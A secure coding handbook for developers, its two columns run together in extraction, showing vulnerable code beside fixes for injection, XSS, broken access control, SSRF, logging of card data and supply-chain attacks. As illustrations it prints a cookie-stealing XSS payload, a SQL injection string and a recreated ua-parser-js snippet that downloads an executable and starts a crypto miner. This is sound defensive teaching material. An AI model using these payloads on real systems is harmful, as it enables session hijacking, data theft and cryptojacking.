Secure Coding for Developers
Secure Coding for Developers
Coding Handbook
A developer’s guide to delivering safer code
faster in the cloud and on premise
03 Introduction
of Hacking Humans are curious, and mankind has a history of messing with inputs and outputs to make a system function other than as intended. Here
is a brief look at how people have been messing with — or hacking — the inputs and outputs of information systems for the past 150 years.
Bell Telephone launched its first Phone “phreaks” discovered The “ILOVEYOU” computer State sponsored hackers exploit Happening now in
phone systems and hired teenage they could activate phone worm infected over ten million the build process to install the code of unwitting
boys to run the switchboards. switches using audio frequency Windows computers. The worm malicious code into SolarWinds developers around
The teenage operators managing — including those produced by a spread as an email with the Orion and orchestrate a supply the world.
cords and jacks to connect calls free toy whistle in Cap’n Crunch subject line “I Love You” and an chain attack on downstream
quickly proved untrustworthy, cereal. This led to the creation of attachment that when opened customers including government
intentionally disconnecting multitone emitting “blue boxes” overwrote files on the infected and enterprise entities.
calls, crossing lines, and more. immortalized in the Esquire computer and self-propagated by
Read Full Story >
article Secrets of the Little Blue emailing itself to all addresses in
Read Full Story >
Box and inspiring the likes of the Windows Address Book.
Jobs and Wozniak.
Read Full Story >
Read Full Story >
An unambiguous set of standards with which applications must comply; it is Fixing a flaw, vulnerability, or exposure by changing code, updating a dependency, or
agreed upon between security and development. other programmatic change.
Mandatory industry and/or government standards and thresholds which must Making and reporting changes to the operating system features, network
be met to market and sell solutions. Common AppSec standards include HIPAA implementation, or application design that insulate a coding flaw from exploitation
and PCI. by an attacker.
Below is a code snippet that prints a message based on whether a login attempt To remediate this vulnerability, modify the code to print a generic error message when
succeeds or fails. First, the code checks if the username is valid. If it is not, it prints a login attempt fails. The modified code below prints the error message “Login Failed —
“Login Failed — unknown username.” Otherwise, it next checks if the password matches incorrect username or password” whether the failure happened because of an invalid
the username. If there is a match, it prints “Login Successful.” If not, it prints “Login username or invalid password. This change makes it that little bit harder for an attacker
Failed – Incorrect Password.” to gain access.
if (IsValidUsername($username) == 1) if (IsValidUsername($username) == 1)
{ {
if (IsValidPassword($username, $password) == 1) if (IsValidPassword($username, $password) == 1)
{ {
print “Login Successful”; print “Login Successful”;
} }
else else
{ {
print “Login Failed - incorrect password”; print “Login Failed - incorrect username or password”;
} }
} }
else else
{ {
print “Login Failed - unknown username”; print “Login Failed - incorrect username or password”;
} }
(Source: Mitre CWE 200) This is a fairly simple example. And of course, there are many other means for attackers
to find a valid username. The key takeaway is to be aware of the information you are
As written, the code is functional. However, this design provides an attacker valuable providing to users in error messages and how those messages could expedite an attack.
information. Imagine an attacker enters the username “admin” and receive the error Never leave production applications in “debug” mode. Assume attackers will try to
message “Login Failed — incorrect password.” Given the design of error messages, they manipulate an application into throwing a stack trace or printing error messages which
now know “admin” is a valid username. They are halfway to having an authenticated they can explore for a means of ingress.
credential and can try a brute-force attack to figure out the password for “admin”
(more on that in the next section).
Another common design flaw is not limiting and controlling the frequency of user To remediate this issue and defend against brute force attacks, we can modify the
interactions. This leaves applications vulnerable to brute-force attacks and manipulation authentication function with a MAX_ATTEMPTS limit that denies a user from making
by bots and malicious scripts. further attempts once the limit has been reached.
Imagine the application above (where an attacker has identified “admin” as a valid
int count = 0;
username) uses the following authentication function without any interaction rate limit:
while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {
if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
char username[USERNAME_SIZE];
if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
char password[PASSWORD_SIZE];
isValidUser = AuthenticateUser(username, password);
}
while (isValidUser == 0) {
}
if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
count++;
if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
}
isValidUser = AuthenticateUser(username, password);
if (isValidUser) {
}
return(SUCCESS);
}
}
}
else {
return(SUCCESS);
return(FAIL);
}
Again, this code is functionally correct. However, as designed, there is no limit on
authentication attempts. An attacker with a brute force attack tool that automatically
Users exploit the absence of frequency controls beyond brute force attacks.
generates passwords and attempts to authenticate will eventually guess right. It is only
Increasingly, people employ bots to stockpile high-demand goods for resale. This
a matter of time.
frustrates customers and damages brands. When designing and building applications,
think about how users can use scripts to gain access or game the application for a
purpose other than what you intended.
Another common design flaw is storing sensitive information like credit card numbers To remediate and prevent this issue, modify the code ensuring you do not log sensitive
and personal identifiable information like social security numbers in plaintext. The java information. Change the log details so instead of logging the credit card number and
code below opens a database connection to retrieve the credit card number for a expiration date, it instead logs the call to the method with the sensitive information.
supplied username. The code then logs the credit card information retrieved for the
user in the log file. Public String getCreditCardNumber(String username) {
if (isAuthorizedUser(username)) {
Public String getCreditCardNumber(String username) { query = “SELECT ccn, expiryDate FROM
if (isAuthorizedUser(username)) { userCreditCardDetails WHERE username = ?”
query = “SELECT ccn, expiryDate FROM …
userCreditCardDetails WHERE username = ?” Logger.getLogger
… CrediCardManager.class.getName())
Logger.getLogger ( .log(Level.INFO, “username: “ + username + “ credit card retrieved“);
CrediCardManager.class.getName()) }
.log(Level.INFO, “username: “ + username + “, CCN: “ + ccn + “, Expira- return ccn;
tion Date: “ + expiryDate); }
}
return ccn; This provides legitimate users with sufficient information to trace method calls through
} the logs without exposing sensitive information. And if an attacker does gain access to
log files, this makes it harder for them to extract sensitive information. When designing
This exposes sensitive credit card information in plaintext in the log file. An attacker who and building features with sensitive information, do not store sensitive data in plaintext
gains access to the log files will then get easy access to this sensitive information. This — and, if possible, avoid storing it altogether.
also exposes sensitive information to legitimate users who are authorized to view log
files but not authorized to view the sensitive information.
Broken access control describes a range of vulnerabilities that allow unauthorized It is important to appreciate the difference between authentication and authorization.
users to reach areas of an application they should not be able to access. A vulnerability A user with a valid username and password is authenticated. However, an authenticated
might allow attackers to force browse and access URLs directly. For example, say an user still needs authorization to access non-public areas of an application. To remediate
attacker identifies an account URL syntax as http s://vulnerable.com/app/accountIn- and prevent broken access control vulnerabilities, it is important to deny access to
fo?acct=AcctName. If the application does not have proper access control, the attacker non-public resources by default. You need to build in access control mechanisms that
could modify the URL to https://vulnerable.com/app/accountInfo?acct=VictimAcct confirm a user is authorized to access a URL, retrieve information from a SQL database,
and gain access to the VictimAcct without any authorization check. and perform other actions.
Another vulnerability might allow an attacker to execute SQL queries that return To address the broken access control vulnerability in the SQL request example, you can:
information they are not authorized to retrieve. Take the following code which sends
a SQL call to retrieve invoices associated with a user ID. 1. Create a set of criteria with approved “id” values for a user.
From the 2017 to 2021 OWASP Top 10 lists, broken access control moved up from the
This code is doing some good things. It uses a parameterized statement to prevent SQL fifth position to first. According to OWASP, “The 34 Common Weakness Enumerations
injection (more on that to come); however, in isolation, it does not validate that the user (CWEs) mapped to Broken Access Control had more occurrences in applications than
is authorized to view the invoices associated with “id”. As the Mitre CWE 566 explanation any other category.” The prevalence and potential exposure of broken access control
puts it, “Because the code in this example does not check to ensure that the user has vulnerabilities make these a prime target for attackers. Building access controls that
permission to access the requested invoice, it will display any invoice, even if it does validate a user’s authorization before retrieving data or accessing sensitive URLs is
not belong to the current user.” critical. (We will revisit this theme as it concerns APIs later.)
Organizations are responsible for the protection of sensitive data at rest and in transit. The first steps to protecting data are to minimize risk by avoiding unnecessary storage
If attackers breach an application — be it by broken access controls, successful injection of sensitive information and implementing secure coding best practices to prevent
attacks, or other means — cryptography is a critical “defense in depth” layer to protect exposure in the first place. But assume the worst. Breaches happen. Sensitive data
sensitive data. needs to be stored, retrieved, and transmitted — often over networks with inherent levels
of exposure. It is critical to use adequate encryption with a reliable encryption scheme
As an example of a cryptography weakness and exploit, let’s say a production application
when storing and transmitting data.
has unwittingly been left in debug mode. An attacker induces the application to throw
an error and expose a stack trace. Exploring the stack trace, they find a password Hash. To protect against sensitive data exposure, modify the code to:
If the application uses a weak hashing algorithm, the attacker can retrieve the master
1. Use a secure HTTPS protocol with TLS encryption
password by doing a reverse lookup in an online hash database such as hashes.com.
2. Change the PUT function to POST to avoid data exposure in caching, browser
Another weakness is failing to adequately encrypt data in transit. Network data can
history, and web logs
often be “sniffed” by attackers. Assuming an attacker can gain access to network traffic,
what happens when that traffic isn’t encrypted? Take the following example: 3. Optional: For highly sensitive information, you can add additional defenses by also
encrypting the hu.getOutputStream before transmitting.
try {
Note: Recipients would then need to decrypt before reading.
URL u = new URL(“http://www.secret.example.org /”);
HttpURLConnection hu = (HttpURLConnection) u.openConnection();
try {
hu.setRequestMethod(“PUT”);
URL u = new URL(“https: //www.se cret.example.org /”);
hu.connect();
HttpsURLConnection hu = (HttpsURLConnection) u.openConnection();
OutputStream os = hu.getOutputStream();
hu.setRequestMethod(“POST”);
hu.disconnect();
hu.connect();
}
OutputStream os = hu.getEncryptedOutputStream();
catch (IOException e) {
hu.disconnect();
}
//...
catch (IOException e) {
}
//...
(Source: MITRE CWE-319) }
Injection flaws allow attackers to inject inputs — such as from a web form, cookie, or To prevent and remediate injection flaws, we need to properly handle untrusted data
URL string — to access privileged data in a SQL database (CWE 89: SQL Injection), before passing it to SQL queries, rendering it as HTML, or otherwise outputting it to users.
inject scripts that execute when visitors visit your web application (CWE 80: Cross-Site
To remediate the SQL injection flaw, we can modify the code by using a prepared
Scripting), and otherwise inject commands.
statement to create a parameterized query:
Take the following code for a SQL call to retrieve a user’s account balance:
String accountBalanceQuery = “SELECT accountNumber, balance FROM
String accountBalancequery = “SELECT accountNumber, balance FROM ac- accounts WHERE account_owner_id = ?”;
counts WHERE ccount_owner_id=’” + request.getParameter(“user_id” “’”; try {
PreparedStatement statement = connection.prepareStatement
Under normal operation, a logged-in user with account number 123 would be directed (accountBalanceQuery); statement.setInt(1,request.getParameter(“us-
to https://bankingwebsite/show_balances?user_id=123 showing their account balance. er_id”));
However, because there is no validation of parameters on “user id”, an attacker could ResultSet rs = statement.executeQuery(); while (rs.next())
enter the URL https: // bankingwebsite/show_balances?user_id= 123%20OR%20 { page.addTableRow(rs.getInt(“accountNumber”), rs.getFloat(“-
1%3D1. This would cause the user_id to be interpreted as “123 OR 1=1” and pass a balance”)); }
query returning all the account numbers and balances.
The query string is now composed with a placeholder “?” for the user-supplied data. That
user-supplied data is bound to the PreparedStatement object which only allows a simple
integer. If an attacker tries to pass the query user_id=123%20OR%201%3D1 it will
now throw a SQL Exception rather than permitting the query to complete.
Injection exploits also occur when attackers successfully inject scripts that execute To prevent the XSS attack, we can sanitize the application’s HTML. We can use the
when users visit a webpage. For example, this vulnerable review form takes a user- OWASP Java HTML Sanitizer to define which HTML elements or attributes are allowed
supplied input (“details”) and then prints that user-supplied input on the page. in user input:
public void setDetails(String details) { private final HtmlPolicyBuilder DetailsPolicyBuilder = new HtmlPolicy-
this.details = details;
Builder()
}
.allowElements(“p”, “ul”, “ol”, “li”, “b”, “i”, “a”)
String myDetails = new String(request.getParameter(details)); .allowStandardUrlProtocols() // http, https, and
mailto
Review myReview = new Review(); .allowAttributes(“href”).onElements(“a”); // a tags can have an
myReview.setDetails(myDetails);
href element
product.addReview(myReview);
We would then modify the review code to call this sanitizeHTML method:
The review appears on a page visible to all users loading the following HTML:
public void setDetails(String details) {
<script> this.details = DetailsPolicyBuilder.toFactory().sanitize
document.getElementById(“details”).innerHTML = details;
(details);
</script>
...
<div id=”details”></div> }
This form is vulnerable because it fails to parameterize the user-supplied “details” input. The sanitizer permits only the elements and attributes listed above, and throws away
anything that doesn’t fit, including malicious JavaScript tags and URLs.
An attacker can inject the following malicious script in the review field:
Another approach is to encode the user-supplied data for the context in which it will be
<script>document.location=’http://malicious.domain/stealCookie. displayed. Encoding will transform characters that function as syntax in the destination
js?’+document.cookie</script> context (HTML, JavaScript, etc.) into versions that will not be parsed as syntax. For ex-
ample, encoding data for HTML output replaces characters like < and > with equivalent
When a user visits the site, the site now loads the following: versions that cannot change the structure of the HTML context. Use the OWASP Java
Encoder within the template to modify the JavaScript:
<div id=”details”><script>document.location=’http://malic ious.domain /
stealCookie.js?’+document.cookie</script></div> document.getElementById(“details”).innerHTML = <%= Encode.forHtmlCon-
tent(details) %>;
This redirects users to the malicious domain that runs the stealCookie.js script that will
pass the session cookie to the attacker and hijack the visiting user’s session. If the attacker ran the same payload now, rather than executing the script the encoded
text would simply display as text.
In 2017, a vulnerability in the Object-Graph Navigation Language (OGNL) evaluation Used responsibly, open source is an amazing asset. It makes rapid development of richer
function of Apache Struts was discovered. The vulnerability allowed attackers to force and more complex applications possible. However, responsible use requires you to take
a “double evaluation” of an OGNL expression to input shell commands. As a high-level preventative, proactive, and reactive actions to minimize risk in your applications. Here
explanation, let’s take the following example where an OGNL function takes a user input are some best practices:
to add an id tag attribute:
Prevent open-source risk:
<s: component name id =”%{name}”/> • Use approved libraries. Establish a list of approved open-source libraries and check
components are secure before inclusion.
As proof of concept, an attacker might enter an input of name=%{2*4}. If the resulting
Proactively maintain open-source dependencies:
id tag is 8, then the application is executing user-supplied input as code and the attacker
has successfully performed Remote Code Execution. Now they can replace %{2*4} with • Inventory your applications and software supply chain. Know what
a malicious script to reconfigure security settings and open the door for further ingress. you have and where it is. Understand that applications have direct and transitive
This is similar to the injection flaws covered in the previous section. However, in this dependencies. Maintain a Software Bill of Materials (SBOM)
case, the source of the vulnerability is not first-party code but the Apache Struts to help evaluate and respond to risk in the software supply chain
open-source component.
• Scan your applications regularly with a Software Composition Analysis (SCA) tool
On March 7, 2017, the vulnerability was disclosed, and a security patch was released. to identify open-source risk. By the nature of open-source, software that is secure
The publication of the CVE and the patch triggers a race between attackers who now today could have a CVE or zero-day exploit disclosed tomorrow. Regular scanning
have broad awareness of the vulnerability and developers to update their Apache Struts is essential. So too is selecting an SCA tool that helps you stay a step ahead and
version to a secure version. identifies vulnerabilities beyond CVEs published in the NVD.
Unfortunately, more than two months after the CVE was disclosed, credit reporting • Keep open-source components updated. Using old versions can make it challenging
agency Equifax had yet to update their vulnerable version of Apache Struts. Hackers and slower to react to newly disclosed vulnerabilities. Mitigate downtime and make
discovered the vulnerability and exploited it to breach Equifax’s network. For nearly your life easier by proactively maintaining your dependencies.
11 weeks attackers had access to the network extracting social security numbers, birth
dates, addresses, and license numbers from over 140 million users (~56% of Americans). React quickly to CVEs and zero-day events:
Equifax would ultimately agree to pay $700 million in federal and state settlements. • Patch vulnerable libraries as soon as possible to minimize exposure
• Establish SLAs within your organization for an acceptable duration from first-found
date to fix. Advocate for the budget to meet that SLA.
• Prepare for the worst. Practice zero-day events and hone your response.
Another vehicle of software supply chain risk is malicious code intentionally added to While the NPM vulnerability was quickly found and remediated by the library’s lead
an open-source library. Unlike the Log4j and Equifax attacks, where a vulnerability was developer, the attack shows not only how open source can introduce unintended risk
unwittingly introduced, in these instances contributors explicitly use open-source but also become a vehicle for an intentional attack. As an attack vector, the nature of
libraries as an attack vector to infect dependent applications. open source means these attacks scale quickly and can affect major organizations that
use open-source components in their code base.
An example of this was the October 2021 update of the ua-parser-js library in the
popular NPM package. NPM has millions of weekly downloads with developers using This highlights the inherent risk in open source. On one hand, it is best practice to
ua-parser-js to identify a user’s device or browser. In October 2021, an attacker hijacked update libraries — ideally in an automated way — to minimize technical debt and rapidly
the lead contributor’s account to introduce malicious code similar to this example: respond to new CVEs. On the other hand, there is an assumption that the libraries
themselves are updated and maintained by trustworthy actors. This assumption of
Curl http: //159.123.456.789/download/jsmaliciousextension.exe -o jsma- trust is no longer a viable option in secure application development.
liciousextension.exe
Again, it is critical to use a quality SCA solution that does not just report on published
if not exist jsmaliciousextension.exe (
CVEs but proactively scans open-source repositories to find and alert you to sources
wget http: //159.123.456.789/download/jsmaliciousextension.exe -o
of risk. When the ua-parser-js malicious code was inserted, Veracode SCA detected it
jsmaliciousextension.exe
quickly and alerted customers using a vulnerable version to update immediately.
)
…
If %count_1% EQU 0 (start /B .\jsmaliciousextension.exe -o pool.minex-
mr.com:443…)
In 2020, Texas-based IT company SolarWinds’ Orion Software suffered a cyberattack The SolarWinds attack shone a light on pernicious vulnerabilities in modern applications.
suspected to be carried out by state-sponsored hackers. Orion helps customers manage It revealed the software development lifecycle and build systems as targets for attack.
their network traffic, performance, logging, and other IT resources. Their customer The difficulty of detection shifted security mindsets to assume attacks have already
list includes major corporations and government departments like the Department of happened. And it exposed the software supply chain as a ripe avenue for attackers.
Homeland Security and Treasury Department. The SolarWinds hack was a sophisticated
As a developer, it is important to recognize the risk of supply chain attacks and your role
multi-tier supply-chain attack targeting those downstream customers.
to both prevent downstream attacks and mitigate risk of upstream ingress by coding to
First, attackers exploited a vulnerable server to infiltrate SolarWinds and gain an the principle of least privilege.
initial ingress point for remote code execution. They used this ingress point to execute
Like open-source dependencies, applications in your software supply chain that seem
subsequent attacks eventually gaining access to SolarWinds’ build server. With this
secure today may not be tomorrow. It is critical to maintain an inventory and SBOM to
access, they introduced malicious code into the Orion Software during the build
quickly triage and respond to cybersecurity events.
process. This malicious code opened a backdoor for attackers to access the sensitive
data of victims — in this case, Orion’s customers who were infected with the malicious Supply chain attacks also make the best practices of secure coding like access control
code when they downloaded software updates. For nine months from March to and cryptography even more important. As you create software, adding layers of securi-
December 2020, the attack went undetected, and attackers had access to private files ty, minimizing trust from user inputs, and properly handling sensitive data are critical to
within as many as 18,000 SolarWinds corporate and government customers’ networks. performing your role in the secure software supply chain.
The SolarWinds attack Illustrates the domino effect of an initial vulnerability not only
affecting one organization, but also the entire supply chain. It also demonstrates the
scale and complexity of cyberattacks; Microsoft Corp President, Brad Smith, called it:
“the largest and most sophisticated attack the world has ever seen.” As defenses get
better, adversaries find more complex means of ingress. Thousands of developers
are suspected of having worked on the SolarWinds attack exploring and exploiting
weaknesses in the software supply chain to find avenues of ingress, access sensitive
information, and lay the foundations for future attacks.
Sometimes, APIs are vulnerable by design (recall lesson one). For example, in 2021 a When creating and working with APIs, it is important to treat them as the top attack
hacker used LinkedIn’s public API to download the data of over 90% of users. Because vector they are. In the design phase, this means considering how users could manipulate
the hacker didn’t break functionality or access non-public data, LinkedIn spun this as APIs to alter functionality or gain unintended access to data. As cybersecurity researcher
“data aggregation” rather than a data breach. Similarly, following the January 6, 2021 Dr. Katie Paxton-Fear puts it, sometimes API are “working as intended but with
United States Capitol attack, hackers used social media app Parler’s public API to unintended security issues.”
scrape users’ profiles and identify participants.
Other times, as with any code you write, you need to build in authorization checks to vali-
Other times, APIs expose information to malicious actors by failing to require object-level date a user is both authenticated and authorized to request an action on a target object.
authorization. This is similar to broken access control covered in lesson 2 but applied to To fix the example broken object-level authorization, modify the API adding an isAutho-
APIs. Take the following example which uses an API to retrieve users’ account information: rized function that takes the userId string to first check if a user is authorized to access
the account before returning account information.
public async Task<BankAccount> GetAccountByIdUnsecure(string accountId)
{ public async Task<BankAccount> GetAccountByIdSecure(string use-
var account = await _db.Accounts.FirstOrDefaultAsync(a => rId, string accountId)
a.UnsecureId == accountId); {
var isAuthorized = await _authorizationService.Check(user-
return account; Id, accountId, BankingAccountUseCase.READ);
}
if (!isAuthorized)
As coded, this API takes accountId as an input but does not have a verification step to return null;
first check that a user is authorized to view the account information. This highlights
the critical difference between authentication and authorization. An authenticated but var account = _db.Accounts.FirstOrDefault(a => a.UserId ==
malicious actor (i.e. an attacker who creates a legitimate account for malicious purposes) userId && a.UnsecureId == accountId);
could enter any accountId argument and retrieve data they are not authorized to view.
return account;
APIs can also expose your applications to misconfiguration, injection, and data leakage — }
by their nature they expose application logic and are often used to retrieve sensitive
information. Lack of rate limiting can also lead to brute force and denial of service
With the proliferat ion of APIs and prevalence of attacks, the importance of API security
attacks (recall the bot example and improper control of interaction frequency).
cannot be understated. In response, the OWASP organization has created a dedicated
OWASP API Security Top 10 list. Reading through that list, hopefully by now you will
recognize themes we have already covered. Consistent with the hacking pattern left
open to untrusted inputs, APIs are another means of ingress for attackers to inject
commands, manipulate functionality, and extract data.
In 2019 a former AWS employee exploited a misconfiguration in Capital One to There are controls that may have protected and detected this attack earlier, but the
download personal information (including social security numbers and dates of birth) best approach is to prevent it in the first place by, again, validating and parameterizing
of over 100 million customers. inputs. In this example, you might create an allow list that only allow URLs that match
your S3 bucket.
Capital One had a feature on their website that allowed users to upload files. Uploaded
files were stored in an S3 bucket, the server made an https request to the S3 bucket and Public String documentPreview(HttpServletRequest httpRequest,
returned the file via a URL parameter (for example: https: //www.capitalone.com/per- Model model) {
sonalize/url=https:// s3.bucket.amazonaws.com/fileupload/myfile). On the backend, the String queryStringParams = httpRequest.getQuerySTring();
code looked something like: String queryString = StringUtils.substring(queryStringParams, “url=”);
String url = StringUtils.substring(queryString, “.com/”);
Public String documentPreview(HttpServletRequest httpReqeust, Model
model) { if(checkAllowList(url) != false) {
try {
String queryStringParams = httpReqeust.getQueryString(); DownloadFileResponse downloadFileResponse = storageService.load(queryS-
Sting queryString = StringUtils.substringAfter(queryString- tring);
Params, “url=“); model.addAttribute(“image”, “new”);
…
Try {
DownloadFileResponse downloadFileResponse – storageService. public static Boolean checkAllowList(String taintData) {
load(queryString); String[] allowStrings = new String[] {“https://s3.bucket.aws”,”https://
model.addAttribute(“image”, new); capitalone.com”,”..”};
List<String> allowList = Arrays.asList(allowStrings);
}
String safeData = null;
} Boolean validUrl = false;
if(allowList.contains(taintData)){
The value of the “url=” parameter comes from the queryString which is then passed to safeData = allowList.get(allowList.indexOf(taintData));
the storageService.load method. This load method invokes Java’s HttpGet() function. if(taintData.startsWith(safeData) == true) {
However, there is no validation check on the URL parameter. Knowing this, a hacker validUrl = true;
can invoke a URL requesting sensitive information like: ht tps: //www.capitalone.com/ }
myaccount/personalize/url=ht tps://192.0.2.0/sensitive-information. }
return validUrl;
Since the server is now essentially making a request of itself, the hacker successfully
}
retrieves sensitive information. The Capital One hacker used this vulnerability to first
get the credentials of a user with web application firewall permissions and then used The application now checks the url= parameter against a defined allow list preventing an
those credentials to submit “list” and “sync” requests to download personal information attacker from invoking malicious server-side requests. If you want to dive deeper into this
data from S3 buckets. topic, check out the OWASP SSRF Prevention Cheat Sheet.
Containers, Infrastructure as Code, and similar technologies make fast and When securing modern applications, build upon what you have already learned. Cloud
flexible deployments possible. They also introduce new attack vectors and security deployments, containers, and microservices do not necessarily introduce new attack
concerns. Misconfigured containers create opportunities for attackers to extract paradigms but rather expand the paradigm into new attack vectors. It is important to
data, open backdoors, gain root access, perform remote code execution, and hijack recognize that containers do not completely isolate or mitigate security issues. Follow
computing resources. best practices to minimize vulnerabilities in the base image, build container security
and scanning into your development lifecycle, and follow the principles of least privilege
As more and more elements of software are defined through code, developers
when you are configuring and deploying.
find themselves not only responsible for securing the application layer but infrastructure
and network layers as well. Below is an example of a misconfigured Dockerfile To secure the Dockerfile, we will remediate the backdoor vulnerability by updating the
with a vulnerable open-source component leading to the installation of a backdoor mailparser dependency to a non-vulnerable version. We will also set the last user as a
in the container. low-privilege user and build the container with minimal permission to avoid escalation.
2 Secure APIs. Inventory your API endpoints and watch out for shadow
APIs. Authenticate and authorize API calls. Just because a user is
authenticated does not mean they are authorized to execute a call.